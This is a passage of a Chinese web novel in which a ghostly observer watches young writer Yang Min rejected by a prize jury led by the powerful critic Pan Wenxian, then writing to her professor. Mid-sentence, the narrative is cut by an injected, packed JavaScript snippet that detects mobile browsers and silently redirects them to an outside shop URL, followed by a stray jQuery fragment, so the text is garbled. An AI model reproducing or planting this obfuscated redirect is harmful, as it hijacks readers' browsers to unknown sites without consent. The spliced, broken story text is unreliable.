“杨旻同学，”其中一位评委说，“请坐。”
杨旻坐下，把稿子紧紧抱在胸前，像是抱着自己的孩子。
“你的作品《山河志》，我们已经读完了，”评委说，“坦白说，这是一部……很有野心的作品。对乡土细节的把握，对世代传承的描写，都很扎实。但是……”
洛简一的心揪紧了。她知道接下来会发生什么。
“但是，”评委看向潘文贤，“潘老师有一些不同的看法。”
潘文贤——正值盛年的、权势滔天的潘文贤——缓缓开口。他的声音和洛简一在旧书店里听到的那个幽灵的声音重叠在一起，但更加冰冷，更加不容置疑：
“杨旻同学，你写了一个家族守护水利的故事。你想表达什么？是对‘共同体’的赞美？对‘传统’的坚守？”
“是的，”年轻的杨旻回答，声音清脆，“我认为，这些传统的、本土的、面对面的联结，是我们文化中最珍贵的部分。我想通过文学，保护它们，让它们被更多人看到。”
“保护？”潘文贤笑了，那笑容里没有温度，“杨旻同学，文学不是用来‘保护’的。文学是用来‘批判’的，是用来‘超越’的。你笔下的村民，愚昧、保守、拒绝现代文明。你笔下的‘共同体’，压抑个性，排斥外来者。你写的是一个封闭的系统，而封闭的系统，是腐朽的温床。”
“不是的！”杨旻急了，“我写的是他们的智慧，他们的坚韧，他们在艰难环境中互相扶持的……”
“那是你的美化，”潘文贤打断她，“你在用女性特有的敏感和纤细笔触，掩盖一个落后社会的本质。这种叙事，在二战前很流行。但现在是什么时代了？全球化时代。你的作品，如果翻译成外文，外国读者会怎么看？他们会说，看，他们就是那样一个国家，一个沉溺于过去、拒绝进步的落后国家。”
杨旻的脸涨得通红：“但、但文学不应该只为了外国读者而写！文学应该……”
“应该什么？”潘文贤倾身向前，“应该狭隘？应该排外？应该煽动民族主义情绪？杨旻同学，我提醒你，文学是有社会责任的。尤其是在这个全球化的时代，你既然想成为作家，就更应当在作品中展现我们国家的现代性、开放性、‘世界主义精神’。而不是……”
他拿起《山河志》的稿子，随手翻了翻，然后扔在桌上：
“……而不是这种乡土怀旧。”
其他四位评委交换了眼神。其中一个清了清嗓子：“潘老师的意见，我们非常重视。杨旻同学，你的作品，确实……在思想深度上，还有所欠缺。我们决定，不予通过终审。”
年轻的杨旻像是被人当头浇了一盆冰水。她坐在那里，一动不动，眼睛盯着桌上那本被扔下的稿子。
“不过，”另一位评委——一个看起来比较和善的女性——说，“你的文笔很好。如果你愿意修改，加入更多对‘现代性’的反思，减少一些……嗯……‘乡土浪漫主义’，我们可以考虑明年再给你一次机会。”
“明年……”杨旻喃喃道。
“对，”女性评委微笑，“比如，你可以写一个从帝京回到乡村的年轻人，发现乡村的愚昧和落后，最终选择离开，回到文明世界。这样的叙事，既有冲突，又有深度，也符合……”
“符合什么？”杨旻突然抬起头。
她的声音不大，但整个会议室安静了下来。
“符合什么？”她重复一遍，然后语气越来越激烈，“符合‘世界主义’？符合‘现代性’？符合外国读者对本国的期待？那本国读者呢？那些生活在乡村的、小镇的、被遗忘的地方的读者呢？他们不值得被写吗？他们的故事，难道只能是‘愚昧’和‘落后’的代名词吗？”
潘文贤皱起眉：“杨旻同学，你太激动了。这不是一个成熟作家应有的态度。”
“成熟作家？”杨旻笑了，那笑容里带着泪光，“潘老师，您所谓的‘成熟’，就是永远说正确的话，写正确的主题，拿正确的奖吗？那文学和政论宣传有什么区别？”
“放肆！”潘文贤拍桌而起。
杨旻也站了起来。她抱起《山
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17937671|211683||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
河志》的稿子，深深地鞠了一躬——不是对评委，而是对那部稿子本身。
“谢谢你们，”她说，“让我知道，这个文坛不值得我爱。”
她转身走出会议室。洛简一跟在她身后，看着她穿过走廊，走下楼梯，走出文学部的大楼。外面的天正在下雨，杨旻没有打伞，她抱着稿子，站在雨中，任由雨水打湿她的头发、她的脸、她的稿纸。
墨汁在雨水中晕开，像是一幅抽象画。
洛简一想为她撑伞，但她没有伞。她想拥抱她，但她没有实体。她只能站在她身边，看着这个十几年前的少女，在雨中一点点崩塌。
“为什么……”杨旻对着天空喊，声音被雨声撕碎，“为什么写自己的故乡，是狭隘？为什么爱自己的土地，是错误？为什么……为什么你们都要我变成另一个人？”
没有人回答她。
雨越下越大。
场景突然切换。
洛简一发现自己站在一间狭小的出租屋里。不是之前看到的那间堆满泡面桶的屋子，而是更早期的、更干净的、充满希望的一间屋子。墙上贴着风见镇的照片，书架上摆满了书，桌子上放着那支老邮递员送的钢笔。
年轻的杨旻坐在桌前，正在写信。她的眼睛红肿，但表情坚定。
“刘颂合教授亲启：
感谢您一直以来的支持。终审的结果，我已经知道了。我不后悔写出《山河志》，但我后悔让您为我承担了压力。
潘文贤不会放过任何反对他的人。您为了我，在会议上公开批评他，这会让您陷入危险。请您……请您不要再为我辩护了。我不值得。
但我不会放弃。我会把《山河志》投给其他出版社。我会继续写。即使没有人出版，即使没有人阅读，我也要写。因为这是我唯一能做的事。
请保重身体。
学生杨旻敬上”
洛简一看着她把信装进信封，贴上邮票，然后走到门口的邮筒前。邮筒是绿色的，但此刻在夕阳下却化作一滴血。
她把信投进去。